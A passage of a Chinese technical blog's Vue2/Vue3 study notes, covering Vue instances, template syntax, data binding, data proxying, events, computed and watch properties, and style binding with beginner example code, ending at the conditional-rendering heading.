uploadhub的技术博客 uploadhub的技术博客
首页
  • 学习笔记

    • 《HTML5和CSS3篇》
    • 《JavaScript基础篇》
    • 《JavaScript高级篇》
    • 《Ajax篇》
    • 《JavaScript模块化篇》
    • 《Node.js篇》
    • 《MongoDB篇》
    • 《Promise篇》
    • 《Git篇》
  • 《Vue2+Vue3篇》
  • 《React篇》
  • 一面-基础
  • 二三面-进阶
关于我
  • 分类
  • 标签
  • 归档

uploadhub

首页
  • 学习笔记

    • 《HTML5和CSS3篇》
    • 《JavaScript基础篇》
    • 《JavaScript高级篇》
    • 《Ajax篇》
    • 《JavaScript模块化篇》
    • 《Node.js篇》
    • 《MongoDB篇》
    • 《Promise篇》
    • 《Git篇》
  • 《Vue2+Vue3篇》
  • 《React篇》
  • 一面-基础
  • 二三面-进阶
关于我
  • 分类
  • 标签
  • 归档
  • Vue2+Vue3篇
    • 1. 初识Vue
      • el&data等相关属性
    • 2. 模板语法
      • Vue.config.productionTip属性
    • 3. 数据绑定
    • 4. el与data的两种写法
      • 重要原则
    • 5. MVVM模型
    • 6. 数据代理
      • 6.1 回顾Object.defineproperty方法
      • 语法
      • 描述
      • 6.2 数据代理
      • Vue中的数据代理
      • 6.3 数据劫持
    • 7. 事件处理
      • 7.1 事件的基本使用
      • 7.2 事件修饰符
      • 7.3 键盘事件
    • 8. 计算属性(computed)
    • 9. 监视属性(watch)
      • 9.1 深度监视
      • 9.2 监视属性简写
      • 9.3 computed和watch之间的区别
      • 两个重要的小原则
    • 10. 绑定样式
    • 11. 条件渲染
    • 12. 列表渲染
      • 12.1 v-for渲染基本列表
      • 12.2 key的原理
      • 用index作为key可能会引发的问题?
      • 开发中如何选择key?
      • 12.3 列表过滤&排序
    • 13. 数据监测
      • 13.1 Vue.set() 和 vm.$set()
      • 参考链接
      • 13.2 Vue监视修改data属性中的对象元素
      • 13.3 Vue监视修改data属性中的数组元素
      • 监测数组元素改变的原理
      • 修改数组元素的具体方法
      • 修改数组元素的内部属性的方法
      • 13.4 总的示例代码
    • 14. 收集表单数据
      • 14.1 v-model的三个修饰符
    • 15. 过滤器(filter)
      • 参考链接
    • 16. 内置指令
      • 16.1 回顾学过的Vue指令
      • 16.2 v-text指令
      • 16.2 v-html指令
      • 注意事项
      • 16.3 v-cloak指令
      • 16.4 v-once指令
      • 16.5 v-pre指令
    • 17. 自定义指令
    • 18. 生命周期
      • 18.1 常用的生命周期钩子
      • 18.2 关于销毁Vue实例
      • 18.3 生命周期各阶段详解图
    • 19. 组件与模块
      • 19.1 组件
      • 19.2 模块
    • 20. 非单文件组件
      • 20.1 非单文件组件的缺点
      • 20.2 组件的基本使用
      • 定义组件注意事项
      • 注册组件的方法
      • 示例代码
      • 20.3 几个注意点
      • 组件名的写法及坑
      • 组件标签的写法及坑
      • 生成组件实例对象的简写方式
      • 20.4 VueComponent
      • this指向
      • 20.5 重要内置关系(原型指向问题)
    • 21. 单文件组件
      • 21.1 各文件作用分析
      • App.vue
      • main.js
      • index.html
    • 22. 使用脚手架
      • 22.1 初始化&使用步骤
      • 22.2 脚手架文件结构
      • 22.3关于不同版本的Vue
      • render函数
      • 22.4 vue.config.js配置文件
    • 23. ref 与 props
      • 23.1 ref属性
      • 23.2 props配置项
    • 24. mixin(混入)
    • 25. 插件
    • 26. scoped和lang属性
      • 26.1 scoped
      • 26.2 lang属性及坑
    • 27. 总结TodoList案例
    • 28. webStorage
      • 28.1相关API
      • 28.2 注意点
    • 29. 组件的自定义事件
    • 30. 全局事件总线(GlobalEventBus)
    • 31. 消息订阅与发布(pubsub)
    • 32. $nextTick
    • 33. Vue封装的过渡与动画
      • 33.1 自定义过渡动画
      • 注意点
      • 参考链接
      • 33.2 animate动画库的使用
    • 34. vue.config.js配置代理
      • 34.1 方法一
      • 34.2 方法二
    • 35. 插槽(slot)
      • 35.1 默认插槽
      • 35.2 具名插槽
      • 35.3 作用域插槽
    • 36. 理解Vuex
      • 36.1 参考链接
      • 36.2 Vuex工作原理图
      • 36.3 Vuex理念及优势
      • 单向数据流
      • 必要性阐述
    • 37. Vuex核心概念
      • 37.1 state
      • 37.2 actions
      • 37.3 mutations
      • 37.4 getters
      • 37.5 modules
    • 38. 使用Vuex
      • 38.1 搭建vuex环境
      • 38.2 基本使用
      • 38.3 getters的使用
      • 38.4 四个map方法的使用
      • 38.5 模块化+命名空间
    • 39. 路由的理解
      • 39.1 路由分类
      • 前端路由
      • 后端路由
      • 39.2 SPA应用
    • 40. vue-router基本使用
      • 40.1 几个注意点
    • 41. 多级路由(嵌套路由)
    • 42. 路由的query参数
    • 43. 命名路由
    • 44. 路由的params参数
    • 45. 路由的props配置
    • 46. replace属性
    • 47. 编程式路由导航
    • 48. 缓存路由组件(keep-alive)
    • 49. 两个新的生命周期钩子(activated)
    • 50. 路由守卫
      • 50.1 全局守卫
      • 50.2 独享守卫
      • 50.3 组件内守卫
    • 51. 路由器的两种工作模式
      • 51.1 hash模式
      • 51.2 history模式
    • 52. Vue3快速上手
      • 52.1 Vue3简介
      • 52.2 Vue3带来了什么
      • 1.性能的提升
      • 2.源码的升级
      • 3.拥抱TypeScript
      • 4.新的特性
    • 53. 创建Vue3.0工程
      • 53.1 使用 vue-cli 创建
      • 53.2 使用 vite 创建
      • vite优势
      • 传统构建 与 vite构建对比图
      • 命令行相关步骤
    • 54. 常用 Composition API
      • 54.1 拉开序幕的setup
      • 注意点
      • 54.2 ref函数
      • 54.3 reactive函数
      • 54.4 Vue3.0中的响应式原理
      • vue2.x的响应式
      • Vue3.0的响应式
      • 54.5 reactive对比ref
      • 54.6 setup的两个注意点
      • 54.7 计算属性与监视
      • 1.computed函数
      • 2.watch函数
      • 3.watchEffect函数
      • 54.8 Vue3生命周期
      • 54.9 自定义hook函数
      • 54.10 toRef
    • 55. 其它 Composition API
      • 55.1 shallowReactive 与 shallowRef
      • 55.2 readonly 与 shallowReadonly
      • 55.3 toRaw 与 markRaw
      • 55.4.customRef
      • 55.5 provide 与 inject
      • 55.6 响应式数据的判断
    • 56. Vue2和Vue3间API的优劣
      • 56.1 Options API 存在的问题
      • 56.2 Composition API 的优势
    • 57. 新的组件
      • 57.1 Fragment
      • 57.2 Teleport
      • 57.3 Suspense
    • 58. 其他
      • 58.1 全局API的转移
      • 58.2 其他改变
  • React篇

  • 框架
uploadhub
2022-03-19
目录

Vue2+Vue3篇

# 1. 初识Vue

​ 1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象 ​ 2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法 ​ 3.root容器里的代码被称为【Vue模板】 ​ 4.Vue实例和容器是一一对应的 ​ 5.真实开发中只有一个Vue实例,并且会配合着组件一起使用 ​ 6.中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性 ​ 7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新(模板重解析)

注意区分:js表达式 和 js代码(语句)

1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,举例:

①a    ②a+b    ③demo(1)	④x === y ? 'a' : 'b'
1

2.js代码(语句),举例:

① if(){}      ② for(){}
1

# el&data等相关属性

<body>
    <!-- 准备好一个容器 -->
    <div id="demo">
        <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
	</div>

    <script type="text/javascript" >
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        //创建Vue实例
        new Vue({
            //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            el:'#demo', 
            //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
            data:{ 
                name:'atguigu',
                address:'北京'
            }
        })
    </script>
</body>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 2. 模板语法

Vue模板语法有2大类:

语法类型 功能 写法或举例
插值 用于解析标签体内容 ,xxx是js表达式
且可以直接读取到data中的所有属性
指令 用于解析标签(包括:标签属性、标签体内容、绑定事件.....) v-bind:href="xxx" 或 简写为 :href="xxx"
xxx同样要写js表达式
且可以直接读取到data中的所有属性

备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子

# Vue.config.productionTip属性

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h1>插值语法</h1>
		<h3>你好,{{name}}</h3>
		<hr/>
    	<h1>指令语法</h1>
        <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
        <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'jack',
            school:{
                name:'尚硅谷',
                url:'http://www.atguigu.com',
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# 3. 数据绑定

绑定方式 作用 备注
单向绑定(v-bind) 数据只能从data流向页面
双向绑定
(v-model)
数据不仅能从data流向页面,还可以从页面流向data 一般都应用在表单类元素上(如:input、select等)
v-model:value 可以简写为 :value,因为v-model默认收集的就是value值
v-model只能应用在表单类元素(输入类元素)上

示例代码

<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- 普通写法 -->
<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
双向数据绑定:<input type="text" v-model:value="name"><br/> -->

<!-- 简写 -->
单向数据绑定:<input type="text" :value="name"><br/>
双向数据绑定:<input type="text" v-model="name"><br/>

<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
<!-- <h2 v-model:x="name">你好啊</h2> -->
</div>
</body>

<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

new Vue({
    el:'#root',
    data:{
        name:'尚硅谷'
    }
})
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

# 4. el与data的两种写法

属性 写法一 写法二 备注
el new Vue时候配置el属性 先创建Vue实例,随后再通过**vm.$mount('#root')**指定el的值
data 对象式 函数式 目前哪种写法都可用,以后用到组件时,data必须使用函数式,否则会报错

注:Vue组件可能会有很多个实例,采用函数返回一个全新data形式,使每个实例对象的数据不会受到其他实例对象数据的污染

示例代码

<body>
    <!-- 准备好一个容器-->
    <div id="root">
    <h1>你好,{{name}}</h1>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    //el的两种写法
    /* const v = new Vue({
    //el:'#root', //第一种写法
    data:{
        name:'尚硅谷'
        }
    })

    v.$mount('#root') //第二种写法 */

    //data的两种写法
    new Vue({
        el:'#root',
        //data的第一种写法:对象式
        /* data:{
            name:'尚硅谷'
        } */

        //data的第二种写法:函数式
        data(){
            console.log('@@@',this) //此处的this是Vue实例对象
            return{
            	name:'尚硅谷'
            }
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# 重要原则

由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是指向Vue实例了

# 5. MVVM模型

  1. M==>模型(Model)==>data中的数据
  2. V==>视图(View) ==>模板代码
  3. VM==>视图模型(ViewModel)==>Vue实例

观察可得:

  1. data中所有的属性,最后都出现在了vm身上
  2. vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用

image-20220216000535039

# 6. 数据代理

# 6.1 回顾Object.defineproperty方法

  1. Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象
  2. 应当直接在Object构造器对象上调用此方法,而不是Object实例调用

注:Vue底层有很多地方用到了该方法实现

参考链接:MDN-Object.defineproperty (opens new window)

# 语法

Object.defineProperty(obj, prop, descriptor)

  1. obj要定义属性的对象
  2. prop要定义或修改的属性的名称或 Symbol
  3. descriptor要定义或修改的属性描述符

# 描述

该方法允许精确地添加或修改对象的属性。通过赋值操作添加的普通属性是可枚举的,在枚举对象属性时会被枚举到for...in或 Object.keys方法),可以改变这些属性的值,也可以删除这些属性。这个方法允许修改默认的额外选项(或配置)。默认情况下,使用 Object.defineProperty() 添加的属性值是不可修改的。

对象里目前存在的属性描述符有两种主要形式:数据描述符和存取描述符。数据描述符是一个具有值的属性,该值可以是可写的,也可以是不可写的。存取描述符是由 getter 函数和 setter 函数所描述的属性。一个描述符只能是这两者其中之一;不能同时是两者。

这两种描述符都是对象。它们共享以下可选键值:

属性 作用 默认值
configurable 当且仅当该属性的 configurable 键值为 true 时,该属性的描述符才能够被改变,同时该属性也能从对应的对象上被删除 false
enumerable 当且仅当该属性的 enumerable 键值为 true 时,该属性才会出现在对象的枚举属性中 false

数据描述符还具有以下可选键值:

属性 作用 默认值
value 该属性对应的值。可以是任何有效的 JavaScript 值(数值,对象,函数等) undefined
writable 当且仅当该属性的 writable 键值为 true 时,属性的值,也就是上面的 value,才能被赋值运算符改变 false

存取描述符还具有以下可选键值:

属性 作用 默认值
get 属性的 getter 函数,如果没有 getter,则为 undefined。当访问该属性时,会调用此函数。
执行时不传入任何参数,但是会传入 this 对象(由于继承关系,这里的this并不一定是定义该属性的对象)。该函数的返回值会被用作属性的值
undefined
set 属性的 setter 函数,如果没有 setter,则为 undefined。当属性值被修改时,会调用此函数。该方法接受一个参数(也就是被赋予的新值),会传入赋值时的 this 对象 undefined

示例代码

<script type="text/javascript" >
    let number = 18
    let person = {
    	name:'张三',
    	sex:'男',
    }

    Object.defineProperty(person,'age',{
    // value:18,
    // enumerable:true, //控制属性是否可以枚举,默认值是false
    // writable:true, //控制属性是否可以被修改,默认值是false
    // configurable:true //控制属性是否可以被删除,默认值是false

    //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
    get(){
    	console.log('有人读取age属性了')
    	return number
    },

    //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
    set(value){
    	console.log('有人修改了age属性,且值是',value)
    	number = value
    }

    })

    // console.log(Object.keys(person))

    console.log(person)
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 6.2 数据代理

概念:通过一个对象代理对另一个对象中属性的操作(读/写)

# Vue中的数据代理

  1. 通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue传进去配置对象的data属性都被vm上的_data属性所指向,且通过这个_data对象进行代理

好处

更加方便的操作data中的数据

基本原理

  1. 通过Object.defineProperty()把data对象中所有属性添加到vm上。
  2. 为每一个添加到vm上的属性,都指定一个getter/setter
  3. 在getter/setter内部去操作(读/写)data中对应的属性

image-20220216212318271

image-20220216213205770

# 6.3 数据劫持

定义:指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果

典型案例:数据双向绑定。vue 2.x 使用的是 Object.defineProperty()方法(Vue 在 3.x 版本之后改用 Proxy 进行实现)

# 7. 事件处理

# 7.1 事件的基本使用

  1. 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
  2. 事件的回调需要配置在methods对象中,最终会作为属性出现在vm上
  3. methods中配置的函数,不要用箭头函数!否则this就不是指向vm了
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
  5. methods中配置的函数,第一个参数(无论写没写形参)一定是事件对象event
  6. @click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参
  7. methods中配置的函数是没有做数据代理的(这些函数不是数据,在程序运行后不会像数据一样变化导致模板重新解析,只等着被别人调用,所以不用代理,自然也没有getter、setter)

image-20220216222503690

# 7.2 事件修饰符

Vue有以下事件修饰符:

事件修饰符 作用
prevent 阻止默认事件(常用)
stop 阻止事件冒泡(常用)
once 事件只触发一次(常用)
capture 使用事件的捕获模式
self 只有event.target是当前操作的元素时才触发事件
passive 事件的默认行为立即执行,无需等待事件回调执行完毕

示例代码

<!-- 准备好一个容器-->
<div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <!-- 阻止默认事件(常用) -->
    <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

    <!-- 阻止事件冒泡(常用) -->
    <div class="demo1" @click="showInfo">
    	<button @click.stop="showInfo">点我提示信息</button>
    <!-- 修饰符可以连续写 -->
    <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
    </div>

    <!-- 事件只触发一次(常用) -->
    <button @click.once="showInfo">点我提示信息</button>

    <!-- 使用事件的捕获模式 -->
    <div class="box1" @click.capture="showMsg(1)">
    	div1
        <div class="box2" @click="showMsg(2)">
        	div2
        </div>
    </div>

    <!-- 只有event.target是当前操作的元素时才触发事件; -->
    <div class="demo1" @click.self="showInfo">
    	<button @click="showInfo">点我提示信息</button>
    </div>

    <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
    <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>

</div>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# 7.3 键盘事件

1.Vue中常用的按键别名:

操作 按键别名 备注
回车 enter
删除 delete 捕获“删除”和“退格”键
退出 esc
空格 space
换行 tab 特殊,必须配合keydown去使用
上 up
下 down
左 left
右 right

注意

1.Vue未提供别名的按键,可使用按键原始的key值绑定,但注意要转为kebab-case(短横线命名),而不是驼峰命名

2.系统修饰键(用法特殊):ctrl、alt、shift、meta (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。 (2).配合keydown使用:正常触发事件。

3.也可以使用keyCode去指定具体的按键(不推荐)

4.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名

# 8. 计算属性(computed)

定义:要用的属性不存在,要通过已有属性计算得来。

原理:底层借助了Objcet.defineproperty方法提供的getter和setter。

优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。

问:get函数什么时候执行?

  1. 初次读取时会执行一次
  2. 当依赖的数据发生改变时会被再次调用

注意:

  1. 计算属性最终会出现在vm上,直接读取使用即可。
  2. 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变

示例代码

需求:将人名以“姓-名”的格式显示出来

(1)插值语法实现

<body>
    <div id="root">
        全名:<span>{{firstName}}-{{lastName}}</span>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

(2)methods实现

<body>
    <div id="root">
		全名:<span>{{fullName()}}</span>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三'
        },
        methods: {
            fullName(){
                console.log('@---fullName')
                return this.firstName + '-' + this.lastName
            }
        },
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

(3)计算属性实现

<body>
    <div id="root">
        姓:<input type="text" v-model="firstName"> <br/><br/>
        名:<input type="text" v-model="lastName"> <br/><br/>
        测试:<input type="text" v-model="x"> <br/><br/>
        全名:<span>{{fullName}}</span> <br/><br/>
        <!-- 全名:<span>{{fullName}}</span> <br/><br/>
        全名:<span>{{fullName}}</span> <br/><br/>
        全名:<span>{{fullName}}</span> -->
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三',
            x:'你好'
        },
        methods: {
        	demo(){
        	}
        },
        computed:{
        	fullName:{
                //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
                get(){
                    console.log('get被调用了')
                    // console.log(this) //此处的this是vm
                    return this.firstName + '-' + this.lastName
                },
                //set什么时候调用? 当fullName被修改时。
                set(value){
                    console.log('set',value)
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
        	}
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

(4)计算属性简写

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		姓:<input type="text" v-model="firstName"> <br/><br/>
		名:<input type="text" v-model="lastName"> <br/><br/>
		全名:<span>{{fullName}}</span> <br/><br/>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el:'#root',
		data:{
			firstName:'张',
			lastName:'三',
		},
		computed:{
			//简写
			fullName(){
				console.log('get被调用了')
				return this.firstName + '-' + this.lastName
			}
		}
	})
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 9. 监视属性(watch)

1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作 2.监视的属性必须存在,才能进行监视!! 3.监视的两种写法:①new Vue时传入watch配置 ②通过vm.$watch监视

示例代码

需求:点击按钮切换天气状态为炎热/凉爽

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>今天天气很{{info}}</h2>
		<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
		<!-- <button @click="isHot = !isHot">切换天气</button> -->
		<button @click="changeWeather">切换天气</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
	const vm = new Vue({
		el:'#root',
		data:{
			isHot:true,
		},
		computed:{
			info(){
				return this.isHot ? '炎热' : '凉爽'
			}
		},
		methods: {
			changeWeather(){
				this.isHot = !this.isHot
			}
		},
		/* watch:{
			isHot:{
				immediate:true, //初始化时让handler调用一下
				//handler什么时候调用?当isHot发生改变时。
				handler(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue)
				}
			}
		} */
	})

	vm.$watch('isHot',{
		immediate:true, //初始化时让handler调用一下
		//handler什么时候调用?当isHot发生改变时。
		handler(newValue,oldValue){
			console.log('isHot被修改了',newValue,oldValue)
		}
	})
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# 9.1 深度监视

  1. Vue中的watch默认不监测对象内部值的改变(一层)
  2. 配置deep:true可以监测对象内部值改变(多层)

注意

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
  2. 使用watch时根据数据的具体结构,决定是否采用深度监视
  3. 监视多级结构中某个属性的变化时,对象的属性名不能用简写形式,必须加上半角单引号,即其须是字符串

示例代码

<body>
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <button @click="changeWeather">切换天气</button>
        <hr/>
        <h3>a的值是:{{numbers.a}}</h3>
        <button @click="numbers.a++">点我让a+1</button>
        <h3>b的值是:{{numbers.b}}</h3>
        <button @click="numbers.b++">点我让b+1</button>
        <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
        {{numbers.c.d.e}}
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
            numbers:{
                a:1,
                b:1,
                c:{
                    d:{
                        e:100
                    }
                }
            }
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            isHot:{
                // immediate:true, //初始化时让handler调用一下
                //handler什么时候调用?当isHot发生改变时。
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            },
            //监视多级结构中某个属性的变化
            /* 'numbers.a':{
                        handler(){
                            console.log('a被改变了')
                        }
                    } */
            //监视多级结构中所有属性的变化
            numbers:{
                deep:true,
                handler(){
                    console.log('numbers改变了')
                }
            }
        }
    })

</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

# 9.2 监视属性简写

<body>
    <!-- 准备好一个容器-->
    <div id="root">
    	<h2>今天天气很{{info}}</h2>
    	<button @click="changeWeather">切换天气</button>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
        //正常写法
        /* isHot:{
            // immediate:true, //初始化时让handler调用一下
            // deep:true,//深度监视
            handler(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue)
            }
        }, */
        //简写
        /* isHot(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue,this)
        } */
        }
    })

    //正常写法
    /* vm.$watch('isHot',{
        immediate:true, //初始化时让handler调用一下
        deep:true,//深度监视
        handler(newValue,oldValue){
        	console.log('isHot被修改了',newValue,oldValue)
    	}
    }) */

    //简写
    /* vm.$watch('isHot',(newValue,oldValue)=>{
    	console.log('isHot被修改了',newValue,oldValue,this)
    }) */

</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

# 9.3 computed和watch之间的区别

  1. computed能完成的功能,watch都可以完成
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

# 两个重要的小原则

  1. 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
  2. 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象

watch实现示例代码

<body>
    <div id="root">
    	姓:<input type="text" v-model="firstName"> <br/><br/>
    	名:<input type="text" v-model="lastName"> <br/><br/>
    	全名:<span>{{fullName}}</span> <br/><br/>
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            firstName:'张',
            lastName:'三',
            fullName:'张-三'
        },
        watch:{
            firstName(val){
                setTimeout(()=>{
                	console.log(this)
                	this.fullName = val + '-' + this.lastName
                },1000);
        	},
        	lastName(val){
        		this.fullName = this.firstName + '-' + val
        	}
        }
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 10. 绑定样式

class样式

写法:class="xxx" xxx可以是字符串、对象、数组

写法 适用范围
字符串 类名不确定,要动态获取
对象 要绑定多个样式,个数不确定,名字也不确定
数组 要绑定多个样式,个数确定,名字也确定,但不确定用不用

style样式 写法一::style="{fontSize: xxx}",其中xxx是动态值。 写法二::style="[a,b]",其中a、b是样式对象

示例代码

<head>
	<meta charset="UTF-8" />
	<title>绑定样式</title>
	<style>
		.basic{
			width: 400px;
			height: 100px;
			border: 1px solid black;
		}	
		.happy{
			border: 4px solid red;;
			background-color: rgba(255, 255, 0, 0.644);
			background: linear-gradient(30deg,yellow,pink,orange,yellow);
		}
		.sad{
			border: 4px dashed rgb(2, 197, 2);
			background-color: gray;
		}
		.normal{
			background-color: skyblue;
		}

		.atguigu1{
			background-color: yellowgreen;
		}
		.atguigu2{
			font-size: 30px;
			text-shadow:2px 2px 10px red;
		}
		.atguigu3{
			border-radius: 20px;
		}
	</style>
	<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

        <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

        <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
        <div class="basic" :class="classObj">{{name}}</div> <br/><br/>

        <!-- 绑定style样式--对象写法 -->
        <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="styleArr">{{name}}</div>
	</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    const vm = new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            mood:'normal',
            classArr:['atguigu1','atguigu2','atguigu3'],
            classObj:{
                atguigu1:false,
                atguigu2:false,
            },
            styleObj:{
                fontSize: '40px',
                color:'red',
            },
            styleObj2:{
                backgroundColor:'orange'
            },
            styleArr:[
                {
                    fontSize: '40px',
                    color:'blue',
                },
                {
                    backgroundColor:'gray'
                }
            ]
        },
        methods: {
            changeMood(){
                const arr = ['happy','sad','normal']
                const index = Math.floor(Math.random()*3)
                this.mood = arr[index]
            }
        },
    })
</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

# 11. 条件渲染

v-if指令

